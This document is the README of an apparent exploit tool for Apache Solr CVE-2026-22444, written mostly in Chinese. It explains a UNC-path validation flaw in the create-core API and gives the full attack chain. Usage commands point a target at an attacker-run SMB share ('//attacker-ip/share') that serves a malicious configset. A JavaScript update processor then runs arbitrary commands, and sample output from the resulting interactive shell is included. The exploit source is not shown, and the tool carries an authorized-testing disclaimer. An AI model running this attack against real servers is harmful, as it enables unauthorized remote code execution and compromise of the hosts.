
Exploit for Apache Solr CVE-2026-22444, leveraging UNC path injection and SMB server to achieve remote code execution via malicious configset and JavaScript payload.
Apache Solr UNC Path Validation Vulnerability
CVE-2026-22444 是一个影响 Apache Solr 的安全漏洞,于 2026 年 1 月 20 日左右公开披露。该漏洞源于 Apache Solr 的 "create core" API 在某些 API 参数上的输入验证不足(CWE-20: Improper Input Validation),允许攻击者在 Solr 运行于 "standalone" 模式时绕过安全规则,可能导致数据泄露、远程代码执行 (RCE) 或 NTLM 哈希披露。
具体而言,如果 Solr 未启用认证或用户具有创建核心的权限,攻击者可以通过精心构造的请求滥用该 API 来访问受保护的文件或执行恶意操作。
该漏洞于 2025 年被发现并报告给 Apache,并在 oss-security 邮件列表上公开披露:
官方公告: https://www.openwall.com/lists/oss-security/2026/01/20/5
该漏洞存在于 CoreContainer.java 中,其中 CoreDescriptor 构造函数在执行 UNC 路径验证之前触发网络操作:
instancePath.toAbsolutePath() 可能通过网络解析 UNC 路径Files.exists() 检查执行网络调用Files.newInputStream() 执行网络读取assertPathAllowed() 进行的路径验证仅在这些操作之后发生exploit.py - 概念验证利用脚本files/ - 利用所需的支持文件(configset)
rce.js - 远程代码执行 JavaScript payloadconf/ - Solr 配置文件
solrconfig.xml - 定义恶意更新处理器链schema.xml - Solr schema 定义managed-schema - 托管 schema 文件requirements.txt - Python 依赖pip install -r requirements.txt
依赖包括:
requests>=2.25.0 - 用于 HTTP 请求impacket>=0.10.0 - 用于创建 SMB 服务器python3 exploit.py <目标IP>
示例:
python3 exploit.py 192.168.1.100
python3 exploit.py <目标IP> --port <端口>
示例:
python3 exploit.py 192.168.1.100 --port 8983
python3 exploit.py <目标IP> --smb-host <SMB服务器IP> --smb-port <SMB端口>
示例:
python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
python3 exploit.py <目标IP> --share-name <共享名称>
示例:
python3 exploit.py 192.168.1.100 --share-name myshare
位置参数:
target_host 目标 Solr 服务器 IP 地址
可选参数:
-h, --help 显示帮助信息并退出
--port, -p PORT Solr 服务器端口(默认:8983)
--smb-host SMB_HOST SMB 服务器 IP(默认:自动检测本地 IP)
--smb-port SMB_PORT SMB 服务器端口(默认:445)
--share-name SHARE SMB 共享名称(默认:malicious)
files 目录成功利用后,脚本会提供一个交互式 shell:
solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user
solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...
solr> exit
[*] exiting shell...
支持的命令:
exit 或 quit - 退出交互式 shellCtrl+C - 中断并退出该漏洞利用了以下技术链:
configSet 参数注入 UNC 路径(例如 //attacker-ip/share)StatelessScriptUpdateProcessorFactory 执行 JavaScript 代码python3 exploit.py 192.168.35.31 \
--port 8983 \
--smb-host 192.168.35.50 \
--smb-port 445 \
--share-name exploit
CVE-2026-22444/
├── exploit.py # 主利用脚本
├── requirements.txt # Python 依赖
├── files/ # 恶意 configset
│ ├── rce.js # RCE JavaScript payload
│ └── conf/ # Solr 配置目录
│ ├── solrconfig.xml # 配置恶意更新处理器
│ ├── schema.xml # Schema 定义
│ └── managed-schema # 托管 schema
└── README.md # 本文件
rce.js:这是核心 RCE payload,它会:
cmd 参数solrconfig.xml:配置 Solr 使用恶意的更新处理器链:
rce-chain 更新处理器链rce.js 脚本/update 请求处理器设置为使用该链⚠️ 警告:此工具仅用于授权的安全测试和教育目的。未经授权使用此工具对系统进行攻击是非法的。
本项目遵循 MIT 许可证。请参阅 LICENSE 文件了解详细信息。
此工具和信息仅供安全研究和教育目的。作者不对因滥用此信息或工具而造成的任何损害负责。使用者应遵守所有适用的法律和法规,并在使用前获得适当的授权。